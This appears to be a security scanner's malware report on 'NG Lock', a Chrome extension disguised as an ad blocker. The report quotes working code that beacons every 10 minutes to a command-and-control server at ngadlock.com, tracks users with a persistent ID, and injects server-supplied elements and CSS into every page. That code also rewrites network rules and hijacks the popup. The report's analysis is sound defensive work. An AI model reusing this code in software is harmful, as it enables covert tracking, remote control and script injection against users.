Security Alert: Confirmed Malware
NG Lock
ID: dcaeinilapppciboeogbnmbmdfabgkdb
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://ngadlock.comView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Block ads and enjoy your favorite sites without pop-ups, banners, and other advertising blocks.
Block ads and enjoy your favorite sites without pop-ups, banners, and other advertising blocks. After installing the NG Lock extension, you will feel your online experience change for the better. Our extension is completely free. There is no need to register and no need to pay money. What you will get: - Reduced advertising, including banners, pop-ups, video ads, etc. - Blocking personal information trackers. - New approach to blocking using v3 manifest. Although our NG Lock extension is not an anti-virus, it includes a list of popular domains that have been spotted as malware and viruses, which greatly reduces the chance of infecting your device. The only information we store is the fact of installing or removing our extension, which is necessary for statistical data. We do not store or share your personal information with third parties. For more information, please visit our official website: ngadlock.com
Every 10 minutes (via alarm), the extension POSTs the user's browser brand fingerprint, unique tracking ID, and enabled ruleset state to `ngadlock.com/connection.php`. The server returns a base64-encoded JSON command payload that the extension decodes and executes — dispatching to `updateCSSRules`, `insertPixel`, `updateDynamicRules`, and popup-hijacking routines. This is a full C2 (command-and-control) channel: the operator can push arbitrary behavioral changes to all 10,000 installs remotely at any time without a Chrome Web Store update.
function serverConnection(a) { let b = {}; chrome.runtime.getManifest() .declarative_net_request.rule_resources.forEach(a => { b[a.id] = !1 }), chrome.declarativeNetRequest.getEnabledRulesets(c => { c.forEach(a => { b[a] = !0 }), fetch(chrome.runtime.getManifest() .homepage_url + "connection.php", { body: JSON.stringify({ brands: navigator.userAgentData.brands, id: a, rulesets: b }), cache: "no-store", headers: { Accept: "application/json", "Content-type": "application/json" }, method: "post" }) .then(a => 200 == a.status ? a.text() : "") .then(b => { if (0 < b.length) { let c = JSON.parse(decodeURIComponent(escape(atob(b)))); a == c.id && c.actions && c.actions.forEach(a => { "css" == a && updateCSSRules(c.css.rules), "display" == a && ...The extension injects arbitrary DOM elements — whose type and all properties are supplied wholesale by the remote C2 server via `imageData`/`imageType` — into every frame of every page the user visits, executing in `world: "MAIN"` (the page's own JavaScript context, not the isolated extension sandbox). Because `for (key in a) c[key] = a[key]` blindly copies all server-supplied properties onto the created element, the operator can set `src`, `onload`, `onerror`, or any event-handler attribute, enabling arbitrary JavaScript execution in page context and full cross-origin data access on visited sites.
function insertPixel(a) { chrome.storage.local.get({ image: !1, imageType: "", imageData: "" }, b => { b.image && 0 != a && chrome.scripting.executeScript({ args: [b.imageData, b.imageType], function: (a, b) => { let c = document.createElement(b); for (key in a) c[key] = a[key]; document.documentElement.appendChild(c) }, injectImmediately: !0, target: { allFrames: !0, tabId: a }, world: "MAIN" }) .catch(a => { console.log(a) }) })}A `webRequest.onResponseStarted` listener fires `insertPixel` on every main frame, sub-frame, and 'other' resource response across all URLs (`*://*/*`). Combined with the server-controlled element injection, this means the operator can inject arbitrary content into literally every webpage the user loads, in every frame, as soon as the server arms the `image` flag — without any per-site restriction or user action.
chrome.webRequest.onResponseStarted.addListener(b => { ["other", "main_frame", "sub_frame"].includes(b.type) && -1 != b.tabId && insertPixel(b.tabId)}, { urls: ["*://*/*"]}, ["responseHeaders"]);The remote server can push a base64-encoded JSON array of arbitrary `declarativeNetRequest` dynamic rules, which are applied immediately after clearing all existing dynamic rules. This gives the operator full remote control over the browser's network request processing: they can redirect traffic, block security endpoints, allow previously blocked malicious domains, or intercept any URL pattern — all silently updated every 10 minutes via the C2 channel with no user visibility.
function updateDynamicRules(a) { chrome.declarativeNetRequest.getDynamicRules(b => { let c = []; b.forEach(a => { c.push(a.id) }), chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: c }, () => { let b = decodeURIComponent(escape(atob(a))); 0 != b.length && chrome.declarativeNetRequest.updateDynamicRules({ addRules: JSON.parse(b) }) .catch(a => { console.info(a) }) }) })}A persistent unique numeric ID is generated on first run and stored in `chrome.storage.local`. This ID is transmitted to the remote server on every alarm tick (every 10 minutes), enabling the operator to track individual users across sessions and browser restarts. The uninstall URL is also seeded with this ID (`delete.php?id=<id>`), so the operator receives a notification with the same identifier when the user removes the extension — allowing full install/uninstall lifecycle tracking without any user disclosure.
function idGeneration() { let a = Math.floor(25020 * (Math.random() * new Date() .getTime())); return chrome.storage.local.set({ id: a }, () => { chrome.runtime.setUninstallURL(chrome.runtime.getManifest() .homepage_url + "delete.php?id=" + a) }), a}Server-provided base64-encoded CSS rules are decoded and injected via `chrome.scripting.insertCSS` into matching pages. A `generalRule` key applies a CSS selector globally across all sites, allowing the operator to hide any UI element (e.g., security warnings, account balance displays, competing extension banners) on any website the user visits. This constitutes server-controlled UI manipulation of third-party sites at scale.
function updateCSSRules(a) { let b = decodeURIComponent(escape(atob(a))); if (0 != b.length) { let a = new Map; a.set("generalRule", ""); let c = []; c = b.split("\n"), 0 != c.length && c.forEach(b => { let c = b.split("##"); if ("" === c[0]) a.set("generalRule", a.get("generalRule") + c[1] + "{display:none !important;}"); else { let b = c[0].split(","); b.forEach(b => { a.has(b) ? a.set(b, a.get(b) + c[1] + "{display:none !important;}") : a.set(b, c[1] + "{display:none !important;}") }) } }), chrome.storage.local.set({ cssRules: Object.fromEntries(a) }) }}The C2 server can remotely replace the extension's popup with an empty string, swap the toolbar icon for a server-supplied image, and change the displayed title to arbitrary text. When the popup is disabled this way, a click listener opens a blank new tab — which can subsequently be navigated to a phishing or malvertising URL. This allows the operator to silently repurpose the extension into a phishing vector or redirect mechanism for all 10,000 users simultaneously.
"popup" == a && (c.popup.default ? (chrome.action.setPopup({ popup: chrome.runtime.getManifest() .action.default_popup}), chrome.action.setIcon({ path: chrome.runtime.getManifest() .action.default_icon}), chrome.action.setTitle({ title: chrome.runtime.getManifest() .action.default_title})) : (chrome.action.setPopup({ popup: ""}), chrome.action.setIcon({ path: c.popup.image}), chrome.action.setTitle({ title: c.popup.text}), !chrome.action.onClicked.hasListeners() && chrome.action.onClicked.addListener(() => { chrome.tabs.create({})})))The `repeat()` function runs on install, on browser startup, and every 10 minutes thereafter via the `repeat` alarm. Each invocation calls `serverConnection(id)`, ensuring a persistent, regularly-scheduled beaconing channel to the operator's server. There is no user-visible indication of this periodic phone-home behavior, nor any mechanism for the user to disable it — stopping it would require uninstalling the extension.
function repeat() { setAlarm(), chrome.storage.local.get({ id: "", extensionActionOptions: !0 }, a => { changeExtensionAction(a.extensionActionOptions); let b = ""; b = "" == a.id ? idGeneration() : a.id, serverConnection(b) })}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 9.4 | 8 |
Files with findings
1 distinct path — top paths by unique finding count:
- js/service_worker.js8
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.